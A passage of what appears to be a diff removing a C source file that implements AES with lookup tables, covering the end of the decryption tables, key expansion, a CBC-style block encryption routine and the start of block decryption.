0x2e3a2436U, - 0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU, - 0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U, - 0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU, - 0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU, - 0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU, - 0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU, - 0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U, - 0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U, - 0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U, - 0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U, - 0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U, - 0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U, - 0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U, - 0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU, - 0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU, - 0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U, - 0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U, - 0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU, - 0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU, - 0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U, - 0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U, - 0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U, - 0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U, - 0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U, - 0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U, - 0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U, - 0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU, - 0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U, - 0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U, - 0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U, - 0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U, - 0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U, - 0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U, - 0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU, - 0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U, - 0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U, -}; - -static const unsigned int Td3[256] = -{ - 0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU, - 0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU, - 0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U, - 0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U, - 0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU, - 0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU, - 0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U, - 0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU, - 0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U, - 0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU, - 0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U, - 0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U, - 0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U, - 0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U, - 0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U, - 0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU, - 0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU, - 0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U, - 0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U, - 0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU, - 0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU, - 0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U, - 0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U, - 0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U, - 0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U, - 0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU, - 0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U, - 0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U, - 0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU, - 0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU, - 0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U, - 0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U, - 0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U, - 0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU, - 0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U, - 0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U, - 0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U, - 0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U, - 0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U, - 0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U, - 0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U, - 0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU, - 0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U, - 0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U, - 0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU, - 0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU, - 0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U, - 0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU, - 0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U, - 0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U, - 0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U, - 0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U, - 0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U, - 0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U, - 0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU, - 0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU, - 0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU, - 0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU, - 0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U, - 0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U, - 0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U, - 0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU, - 0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U, - 0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U, -}; - -static const unsigned int Td4[256] = -{ - 0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U, - 0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U, - 0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU, - 0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU, - 0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U, - 0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U, - 0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U, - 0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU, - 0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U, - 0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU, - 0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU, - 0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU, - 0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U, - 0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U, - 0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U, - 0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U, - 0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U, - 0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U, - 0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU, - 0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U, - 0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U, - 0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU, - 0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U, - 0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U, - 0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U, - 0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU, - 0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U, - 0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U, - 0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU, - 0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U, - 0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U, - 0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU, - 0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U, - 0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU, - 0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU, - 0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U, - 0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U, - 0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U, - 0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U, - 0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU, - 0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U, - 0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U, - 0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU, - 0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU, - 0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU, - 0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U, - 0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU, - 0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U, - 0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U, - 0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U, - 0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U, - 0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU, - 0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U, - 0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU, - 0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU, - 0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU, - 0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU, - 0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U, - 0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU, - 0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U, - 0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU, - 0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U, - 0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U, - 0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU, -}; - -static const unsigned int rcon[10] = { - 0x01000000, 0x02000000, 0x04000000, 0x08000000, - 0x10000000, 0x20000000, 0x40000000, 0x80000000, - 0x1B000000, 0x36000000 -}; - -typedef struct { - unsigned int roundkey[44]; - unsigned int iv[4]; -} AES_CTX; - -static void AES_EncryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) { - ctx->roundkey[0] = GETU32(key + 0); - ctx->roundkey[1] = GETU32(key + 4); - ctx->roundkey[2] = GETU32(key + 8); - ctx->roundkey[3] = GETU32(key + 12); - - ctx->iv[0] = GETU32(iv + 0); - ctx->iv[1] = GETU32(iv + 4); - ctx->iv[2] = GETU32(iv + 8); - ctx->iv[3] = GETU32(iv + 12); - - for (unsigned char index = 4; index < 44; index += 4) { - ctx->roundkey[index] = ctx->roundkey[index - 4] ^ - (Te4[(ctx->roundkey[index - 1] >> 16) & 0xff] & 0xff000000) ^ - (Te4[(ctx->roundkey[index - 1] >> 8) & 0xff] & 0x00ff0000) ^ - (Te4[(ctx->roundkey[index - 1] >> 0) & 0xff] & 0x0000ff00) ^ - (Te4[(ctx->roundkey[index - 1] >> 24) & 0xff] & 0x000000ff) ^ rcon[index / 4 - 1]; - ctx->roundkey[index + 1] = ctx->roundkey[index - 3] ^ ctx->roundkey[index]; - ctx->roundkey[index + 2] = ctx->roundkey[index - 2] ^ ctx->roundkey[index + 1]; - ctx->roundkey[index + 3] = ctx->roundkey[index - 1] ^ ctx->roundkey[index + 2]; - } -} - -static void AES_DecryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) { - AES_EncryptInit(ctx, key, iv); - - unsigned int temp; - - // Next, invert the order of the round keys. - for (unsigned char i = 0, j = 40; i < j; i += 4, j -= 4) { - for (uint8_t k = 0; k < 4; k++) { - temp = ctx->roundkey[i + k]; - ctx->roundkey[i + k] = ctx->roundkey[j + k]; - ctx->roundkey[j + k] = temp; - } - } - - // Finally, apply the inverse MixColumn transform to all round keys except the first and last. - for (unsigned char index = 4; index < 40; index += 4) { - ctx->roundkey[index] = - Td0[Te4[(ctx->roundkey[index] >> 24) & 0xff] & 0xff] ^ - Td1[Te4[(ctx->roundkey[index] >> 16) & 0xff] & 0xff] ^ - Td2[Te4[(ctx->roundkey[index] >> 8) & 0xff] & 0xff] ^ - Td3[Te4[(ctx->roundkey[index] >> 0) & 0xff] & 0xff]; - ctx->roundkey[index + 1] = - Td0[Te4[(ctx->roundkey[index + 1] >> 24) & 0xff] & 0xff] ^ - Td1[Te4[(ctx->roundkey[index + 1] >> 16) & 0xff] & 0xff] ^ - Td2[Te4[(ctx->roundkey[index + 1] >> 8) & 0xff] & 0xff] ^ - Td3[Te4[(ctx->roundkey[index + 1] >> 0) & 0xff] & 0xff]; - ctx->roundkey[index + 2] = - Td0[Te4[(ctx->roundkey[index + 2] >> 24) & 0xff] & 0xff] ^ - Td1[Te4[(ctx->roundkey[index + 2] >> 16) & 0xff] & 0xff] ^ - Td2[Te4[(ctx->roundkey[index + 2] >> 8) & 0xff] & 0xff] ^ - Td3[Te4[(ctx->roundkey[index + 2] >> 0) & 0xff] & 0xff]; - ctx->roundkey[index + 3] = - Td0[Te4[(ctx->roundkey[index + 3] >> 24) & 0xff] & 0xff] ^ - Td1[Te4[(ctx->roundkey[index + 3] >> 16) & 0xff] & 0xff] ^ - Td2[Te4[(ctx->roundkey[index + 3] >> 8) & 0xff] & 0xff] ^ - Td3[Te4[(ctx->roundkey[index + 3] >> 0) & 0xff] & 0xff]; - } -} - -static void AES_Encrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) { - unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset; - - // Initial round - s0 = GETU32(in_data + 0) ^ ctx->iv[0] ^ ctx->roundkey[0]; - s1 = GETU32(in_data + 4) ^ ctx->iv[1] ^ ctx->roundkey[1]; - s2 = GETU32(in_data + 8) ^ ctx->iv[2] ^ ctx->roundkey[2]; - s3 = GETU32(in_data + 12) ^ ctx->iv[3] ^ ctx->roundkey[3]; - - // round 1 - t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[ 4]; - t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[ 5]; - t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[ 6]; - t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[ 7]; - // round 2 - s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[ 8]; - s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[ 9]; - s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[10]; - s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[11]; - // round 3 - t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[12]; - t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[13]; - t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[14]; - t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[15]; - // round 4 - s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[16]; - s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[17]; - s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[18]; - s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[19]; - // round 5 - t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[20]; - t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[21]; - t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[22]; - t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[23]; - // round 6 - s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[24]; - s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[25]; - s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[26]; - s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[27]; - // round 7 - t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[28]; - t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[29]; - t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[30]; - t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[31]; - // round 8 - s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[32]; - s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[33]; - s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[34]; - s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[35]; - // round 9 - t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[36]; - t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[37]; - t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[38]; - t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[39]; - // Final round - s0 = (Te4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40]; - s1 = (Te4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41]; - s2 = (Te4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42]; - s3 = (Te4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43]; - - // Output the result - PUTU32(out_data + 0, s0); - PUTU32(out_data + 4, s1); - PUTU32(out_data + 8, s2); - PUTU32(out_data + 12, s3); - - ctx->iv[0] = s0; - ctx->iv[1] = s1; - ctx->iv[2] = s2; - ctx->iv[3] = s3; -} - -static void AES_Decrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) { - unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset; - - unsigned int temp[4]; - - s0 = GETU32(in_data + 0) ^ ctx->roundkey[0]; - s1 = GETU32(in_data + 4) ^ ctx->roundkey[1]; - s2 = GETU32(in_data + 8) ^ ctx->roundkey[2]; - s3 = GETU32(in_data + 12) ^ ctx->roundkey[3]; - - temp[0] = GETU32(in_data + 0); - temp[1] = GETU32(in_data + 4); - temp[2] = GETU32(in_data + 8); - temp[3] = GETU32(in_data + 12); - - // round 1 - t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[ 4]; - t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[ 5]; - t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[ 6]; - t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[ 7]; - // round 2 - s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[ 8]; - s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[ 9]; - s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[10]; - s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[11]; - // round 3 - t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[12]; - t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[13]; - t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[14]; - t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[15]; - // round 4 - s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[16]; - s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[17]; - s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 